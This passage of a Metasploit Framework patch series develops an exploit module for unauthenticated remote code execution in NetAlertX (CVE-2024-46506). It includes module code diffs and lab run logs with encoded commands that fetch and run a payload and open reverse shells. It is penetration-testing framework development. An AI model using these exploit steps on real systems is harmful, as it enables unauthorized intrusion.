(exploit/linux/http/netalertx_rce_cve_2024_46506): Name Current Setting Required Description ---- --------------- -------- ----------- + CLEANUP true no Restore DBCLNP_CMD to original value after execution Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.ht - ml + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp + loit.html RPORT 20211 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host @@ -65,7 +69,8 @@ Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): ---- --------------- -------- ----------- FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) FETCH_DELETE true yes Attempt to delete the binary after execution - FETCH_FILENAME hhPzIVsphPBC no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_FILENAME kORFEqBmqOC no Name to use on remote system when storing payload; cannot contain spaces or slashe + s FETCH_SRVHOST no Local IP to use for serving payload FETCH_SRVPORT 8080 yes Local port to use for serving payload FETCH_URIPATH no Local URI to use for serving payload @@ -88,10 +93,10 @@ msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 r [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version 24.9.12 detected. -[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}d2dldCAtcU8gLi9tR1Brb3hyUk9WIGh0dHA6Ly8xOTIuMTY4LjU2LjE6ODA4MC9HLThmOG5rb0gwZFRaR1BzTnZTMjNnO2NobW9kICt4IC4vbUdQa294clJPVjsuL21HUGtveHJST1Ymc2xlZXAgNDtybSAtcmYgLi9tR1Brb3hyUk9W|base64${IFS}-d|/bin/bash'. +[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}d2dldCAtcU8gLi9GUXl0Y3BRYW4gaHR0cDovLzE5Mi4xNjguNTYuMTo4MDgwL0ctOGY4bmtvSDBkVFpHUHNOdlMyM2c7Y2htb2QgK3ggLi9GUXl0Y3BRYW47Li9GUXl0Y3BRYW4mc2xlZXAgNjtybSAtcmYgLi9GUXl0Y3BRYW4=|base64${IFS}-d|/bin/bash'. [*] Waiting settings really updated... [*] Sending stage (3045380 bytes) to 192.168.56.17 -[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:42572) at 2025-02-08 13:42:04 +0900 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:34292) at 2025-02-10 21:29:25 +0900 [*] Added the payload to the queue. Waiting for the payload to run... [*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'. diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb index ba98cbfcb8..d7b5e7748c 100644 --- a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -57,6 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(20211), OptInt.new('WAIT', [ true, 'Wait time (seconds) for the payload to be set', 75 ]), + OptBool.new('CLEANUP', [false, 'Restore DBCLNP_CMD to original value after execution', true]) ] ) end @@ -145,11 +146,13 @@ class MetasploitModule < Msf::Exploit::Remote def cleanup super - # Default settings, cannot change (normally). - # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92 - update_settings( - 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}', - '*/30' - ) + if datastore['CLEANUP'] + # Default settings, cannot change (normally). + # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92 + update_settings( + 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}', + '*/30' + ) + end end end From 8d592014474d24b5d620e77a15331b15c67c323f Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Mon, 10 Feb 2025 21:38:14 +0900 Subject: [PATCH 28/37] Update document --- .../exploit/linux/http/netalertx_rce_cve_2024_46506.md | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md index 0244986e36..8993fcfad9 100644 --- a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md +++ b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md @@ -55,8 +55,7 @@ Module options (exploit/linux/http/netalertx_rce_cve_2024_46506): ---- --------------- -------- ----------- CLEANUP true no Restore DBCLNP_CMD to original value after execution Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp - loit.html + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 20211 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host @@ -69,8 +68,7 @@ Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): ---- --------------- -------- ----------- FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) FETCH_DELETE true yes Attempt to delete the binary after execution - FETCH_FILENAME kORFEqBmqOC no Name to use on remote system when storing payload; cannot contain spaces or slashe - s + FETCH_FILENAME zoAzVoLyP no Name to use on remote system when storing payload; cannot contain spaces or slashes FETCH_SRVHOST no Local IP to use for serving payload FETCH_SRVPORT 8080 yes Local port to use for serving payload FETCH_URIPATH no Local URI to use for serving payload @@ -93,10 +91,10 @@ msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 r [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version 24.9.12 detected. -[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}d2dldCAtcU8gLi9GUXl0Y3BRYW4gaHR0cDovLzE5Mi4xNjguNTYuMTo4MDgwL0ctOGY4bmtvSDBkVFpHUHNOdlMyM2c7Y2htb2QgK3ggLi9GUXl0Y3BRYW47Li9GUXl0Y3BRYW4mc2xlZXAgNjtybSAtcmYgLi9GUXl0Y3BRYW4=|base64${IFS}-d|/bin/bash'. +[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}d2dldCAtcU8gLi9SbHBlc21GQURReSBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1JscGVzbUZBRFF5Oy4vUmxwZXNtRkFEUXkmc2xlZXAgMztybSAtcmYgLi9SbHBlc21GQURReQ==|base64${IFS}-d|/bin/bash'. [*] Waiting settings really updated... [*] Sending stage (3045380 bytes) to 192.168.56.17 -[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:34292) at 2025-02-10 21:29:25 +0900 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:50192) at 2025-02-10 21:36:07 +0900 [*] Added the payload to the queue. Waiting for the payload to run... [*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'. From 9f43fcc7adf6a0802ae61822783a6f2ddaaa4361 Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Mon, 10 Feb 2025 22:00:52 +0900 Subject: [PATCH 29/37] Update FETCH_COMMAND default to curl --- .../exploit/linux/http/netalertx_rce_cve_2024_46506.md | 8 ++++---- .../exploits/linux/http/netalertx_rce_cve_2024_46506.rb | 5 +---- 2 files changed, 5 insertions(+), 8 deletions(-) diff --git a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md index 8993fcfad9..4c7b8a9902 100644 --- a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md +++ b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md @@ -66,9 +66,9 @@ Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- - FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) FETCH_DELETE true yes Attempt to delete the binary after execution - FETCH_FILENAME zoAzVoLyP no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_FILENAME GXIuXvsu no Name to use on remote system when storing payload; cannot contain spaces or slashes FETCH_SRVHOST no Local IP to use for serving payload FETCH_SRVPORT 8080 yes Local port to use for serving payload FETCH_URIPATH no Local URI to use for serving payload @@ -91,10 +91,10 @@ msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 r [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version 24.9.12 detected. -[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}d2dldCAtcU8gLi9SbHBlc21GQURReSBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1JscGVzbUZBRFF5Oy4vUmxwZXNtRkFEUXkmc2xlZXAgMztybSAtcmYgLi9SbHBlc21GQURReQ==|base64${IFS}-d|/bin/bash'. +[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}Y3VybCAtc28gLi9QWHhyY3hFRCBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1BYeHJjeEVEOy4vUFh4cmN4RUQmc2xlZXAgNztybSAtcmYgLi9QWHhyY3hFRA==|base64${IFS}-d|/bin/bash'. [*] Waiting settings really updated... [*] Sending stage (3045380 bytes) to 192.168.56.17 -[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:50192) at 2025-02-10 21:36:07 +0900 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:57510) at 2025-02-10 21:57:30 +0900 [*] Added the payload to the queue. Waiting for the payload to run... [*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'. diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb index d7b5e7748c..d870a8e9e4 100644 --- a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -36,10 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Linux Command', { - 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, - 'DefaultOptions' => { - 'FETCH_COMMAND' => 'WGET' - } + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd } ], ], From edbdb985e39d7c1a10629ea5ea2711d9222ad5d5 Mon Sep 17 00:00:00 2001 From: Takahiro Yokoyama Date: Tue, 11 Feb 2025 08:59:37 +0900 Subject: [PATCH 30/37] Apply suggestions from code review Co-authored-by: msutovsky-r7 Co-authored-by: Julien Voisin --- .../http/netalertx_rce_cve_2024_46506.rb | 19 +++++++------------ 1 file changed, 7 insertions(+), 12 deletions(-) diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb index d870a8e9e4..e8249c1b13 100644 --- a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -67,13 +67,12 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Unknown unless res&.code == 200 html_document = res&.get_html_document - return Exploit::CheckCode::Unknown('Failed to get html document.') unless html_document + return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank? version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*') - return Exploit::CheckCode::Unknown('Failed to get version element.') unless version_element + return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank? version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, '')) - return Exploit::CheckCode::Unknown('Failed to detect version.') unless version return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12')) @@ -81,14 +80,14 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - # Command is splitted by the space, and processed by the below Python code + # Command is split by space character, and executed by the following Python code: # subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT)) # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206 # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214 - cmd = "/bin/bash -c echo${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|/bin/bash" + cmd = "/bin/sh -c echo${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|/bin/sh" update_settings(cmd, '*') # Not updated immediately - print_status('Waiting settings really updated...') + print_status('Waiting for the settings to be properly updated...') retry_until_truthy(timeout: datastore['WAIT']) do check_settings(cmd) end @@ -120,11 +119,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, 'php/server/util.php'), 'vars_post' => { 'function' => 'addToExecutionQueue', - 'action' => "#{Rex::Text.rand_text_alphanumeric(8)}-"\ - "#{Rex::Text.rand_text_alphanumeric(4)}-"\ - "#{Rex::Text.rand_text_alphanumeric(4)}-"\ - "#{Rex::Text.rand_text_alphanumeric(4)}-"\ - "#{Rex::Text.rand_text_alphanumeric(12)}|#{cmd}" + 'action' => "#{SecureRandom.uuid}|#{cmd}" } }) fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200 @@ -144,7 +139,7 @@ class MetasploitModule < Msf::Exploit::Remote super if datastore['CLEANUP'] - # Default settings, cannot change (normally). + # Default settings, isn't usually changed. # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92 update_settings( 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}', From 2db7f4f1869e5b29d528755b5dceb4d681155383 Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Tue, 11 Feb 2025 11:25:24 +0900 Subject: [PATCH 31/37] Use BadChars and Base64Decoder --- .../linux/http/netalertx_rce_cve_2024_46506.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb index e8249c1b13..a93b343958 100644 --- a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -41,6 +41,9 @@ class MetasploitModule < Msf::Exploit::Remote ], ], 'DefaultTarget' => 0, + 'Payload' => { + 'BadChars' => ' \'\\' + }, 'DisclosureDate' => '2025-01-30', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], @@ -57,6 +60,11 @@ class MetasploitModule < Msf::Exploit::Remote OptBool.new('CLEANUP', [false, 'Restore DBCLNP_CMD to original value after execution', true]) ] ) + register_advanced_options( + [ + OptString.new('Base64Decoder', [true, 'The binary to use for base64 decoding', 'base64-short', %w[base64-short] ]) + ] + ) end def check @@ -73,7 +81,6 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank? version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, '')) - return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12')) Exploit::CheckCode::Appears("Version #{version} detected.") @@ -84,7 +91,7 @@ class MetasploitModule < Msf::Exploit::Remote # subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT)) # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206 # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214 - cmd = "/bin/sh -c echo${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|/bin/sh" + cmd = "/bin/sh -c #{payload.encode}" update_settings(cmd, '*') # Not updated immediately print_status('Waiting for the settings to be properly updated...') From 13df710797e7a9f4f0f1591e04fe419fc729fbd4 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Mon, 10 Feb 2025 22:26:04 -0600 Subject: [PATCH 32/37] allow content write To enabled branch and commit `content` must be added --- .github/workflows/weekly-data-and-external-tool-updater.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/weekly-data-and-external-tool-updater.yml b/.github/workflows/weekly-data-and-external-tool-updater.yml index 6197d97bae..8fe9673e92 100644 --- a/.github/workflows/weekly-data-and-external-tool-updater.yml +++ b/.github/workflows/weekly-data-and-external-tool-updater.yml @@ -4,7 +4,7 @@ name: Weekly Data and External Tool Updater permissions: actions: none checks: none - contents: none + contents: write deployments: none id-token: none issues: none From 517bf5481daa9f5e9fbfd650452c5d5ad7a871ca Mon Sep 17 00:00:00 2001 From: jenkins-metasploit Date: Tue, 11 Feb 2025 08:32:04 +0000 Subject: [PATCH 33/37] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 121 ++++++++++++++++++++++++++++++++++ 1 file changed, 121 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 48df46458e..b15e40f93d 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -79530,6 +79530,68 @@ "session_types": false, "needs_cleanup": true }, + "exploit_linux/http/netalertx_rce_cve_2024_46506": { + "name": "Unauthenticated RCE in NetAlertX", + "fullname": "exploit/linux/http/netalertx_rce_cve_2024_46506", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2025-01-30", + "type": "exploit", + "author": [ + "Chebuya (Rhino Security Labs)", + "Takahiro Yokoyama" + ], + "description": "An attacker can update NetAlertX settings with no authentication, which results in RCE.", + "references": [ + "CVE-2024-46506", + "URL-https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/" + ], + "platform": "Linux", + "arch": "", + "rport": 20211, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Linux Command" + ], + "mod_time": "2025-02-11 11:25:24 +0000", + "path": "/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb", + "is_install_path": true, + "ref_name": "linux/http/netalertx_rce_cve_2024_46506", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes", + "artifacts-on-disk", + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/http/netgear_dgn1000_setup_unauth_exec": { "name": "Netgear DGN1000 Setup.cgi Unauthenticated RCE", "fullname": "exploit/linux/http/netgear_dgn1000_setup_unauth_exec", @@ -192323,6 +192385,65 @@ "session_types": false, "needs_cleanup": null }, + "exploit_windows/scada/mypro_mgr_cmd": { + "name": "mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)", + "fullname": "exploit/windows/scada/mypro_mgr_cmd", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-11-21", + "type": "exploit", + "author": [ + "Michael Heinzl" + ], + "description": "Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA.\n The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product.", + "references": [ + "URL-https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07", + "CVE-2024-47407" + ], + "platform": "Windows", + "arch": "cmd", + "rport": 34022, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Windows_Fetch" + ], + "mod_time": "2025-01-29 20:18:05 +0000", + "path": "/modules/exploits/windows/scada/mypro_mgr_cmd.rb", + "is_install_path": true, + "ref_name": "windows/scada/mypro_mgr_cmd", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_windows/scada/procyon_core_server": { "name": "Procyon Core Server HMI Coreservice.exe Stack Buffer Overflow", "fullname": "exploit/windows/scada/procyon_core_server", From 0fefe063ad2d9f5933b8977633eeab1fa2f20a31 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Tue, 11 Feb 2025 20:49:08 +0000 Subject: [PATCH 34/37] Remove report note calls from vuln cert finder --- .../gather/ldap_esc_vulnerable_cert_finder.rb | 19 ++----------------- 1 file changed, 2 insertions(+), 17 deletions(-) diff --git a/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb b/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb index 74a95f9f60..de063e9068 100644 --- a/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb +++ b/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb @@ -543,7 +543,7 @@ class MetasploitModule < Msf::Auxiliary ca_server_ip_address = get_ip_addresses_by_fqdn(ca_server_fqdn)&.first if ca_server_ip_address - service = report_service({ + report_service({ host: ca_server_ip_address, port: 445, proto: 'tcp', @@ -551,13 +551,6 @@ class MetasploitModule < Msf::Auxiliary info: "AD CS CA name: #{ca_server[:name][0]}" }) - report_note({ - data: ca_server[:dn][0].to_s, - service: service, - host: ca_server_ip_address, - ntype: 'windows.ad.cs.ca.dn' - }) - report_host({ host: ca_server_ip_address, name: ca_server_fqdn @@ -618,7 +611,7 @@ class MetasploitModule < Msf::Auxiliary info = hash[:notes].select { |note| note.start_with?(prefix) }.map { |note| note.delete_prefix(prefix).strip }.join("\n") info = nil if info.blank? - hash[:ca_servers].each do |ca_fqdn, ca_server| + hash[:ca_servers].each_value do |ca_server| service = report_service({ host: ca_server[:ip_address], port: 445, @@ -641,14 +634,6 @@ class MetasploitModule < Msf::Auxiliary else vuln = nil end - - report_note({ - data: hash[:dn], - service: service, - host: ca_fqdn.to_s, - ntype: 'windows.ad.cs.ca.template.dn', - vuln_id: vuln&.id - }) end end end From 10a3b267b825dde72c99574725c4b8ecb95fbd8a Mon Sep 17 00:00:00 2001 From: jenkins-metasploit Date: Tue, 11 Feb 2025 22:21:40 +0000 Subject: [PATCH 35/37] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index b15e40f93d..52c06aca10 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -24175,7 +24175,7 @@ ], "targets": null, - "mod_time": "2025-01-31 14:48:57 +0000", + "mod_time": "2025-02-11 20:49:08 +0000", "path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb", "is_install_path": true, "ref_name": "gather/ldap_esc_vulnerable_cert_finder", From 9dac85e3c982fe8a39f258680d476d145cbbcc6f Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 13 Feb 2025 03:34:13 -0600 Subject: [PATCH 36/37] Bump version of framework to 6.4.50 --- Gemfile.lock | 2 +- LICENSE_GEMS | 6 +++--- lib/metasploit/framework/version.rb | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 424b3b1bda..f37b9d9997 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (6.4.49) + metasploit-framework (6.4.50) aarch64 abbrev actionpack (~> 7.0.0) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 832c40c891..3cfa44519b 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -90,7 +90,7 @@ memory_profiler, 1.1.0, MIT metasm, 1.0.5, LGPL-2.1 metasploit-concern, 5.0.3, "New BSD" metasploit-credential, 6.0.11, "New BSD" -metasploit-framework, 6.4.49, "New BSD" +metasploit-framework, 6.4.50, "New BSD" metasploit-model, 5.0.2, "New BSD" metasploit-payloads, 2.0.189, "3-clause (or ""modified"") BSD" metasploit_data_models, 6.0.5, "New BSD" @@ -98,7 +98,7 @@ metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD" method_source, 1.1.0, MIT mime-types, 3.6.0, MIT mime-types-data, 3.2024.1001, MIT -mini_portile2, 2.8.7, MIT +mini_portile2, 2.8.8, MIT minitest, 5.25.1, MIT mqtt, 0.6.0, MIT msgpack, 1.6.1, "Apache 2.0" @@ -115,7 +115,7 @@ net-ssh, 7.3.0, MIT network_interface, 0.0.4, MIT nexpose, 7.3.0, "New BSD" nio4r, 2.7.4, "MIT, Simplified BSD" -nokogiri, 1.16.7, MIT +nokogiri, 1.18.2, MIT nori, 2.7.1, MIT octokit, 4.25.1, MIT openssl-ccm, 1.2.3, MIT diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index f8894255e0..9e5e515b69 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -32,7 +32,7 @@ module Metasploit end end - VERSION = "6.4.49" + VERSION = "6.4.50" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From d9cb3651f4b879881aa64ffbc8e9274e3ec66e0c Mon Sep 17 00:00:00 2001 From: simonirwin-r7 Date: Thu, 13 Feb 2025 14:46:33 +0000 Subject: [PATCH 37/37] PD-49865 set Cortex tags to identify repo exposure (#19876) --- cortex.yaml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/cortex.yaml b/cortex.yaml index 153fc708d9..2f120f5926 100644 --- a/cortex.yaml +++ b/cortex.yaml @@ -10,6 +10,8 @@ info: x-cortex-type: service x-cortex-domain-parents: - tag: metasploit + x-cortex-groups: + - exposure:external-ship openapi: 3.0.1 servers: - url: "/"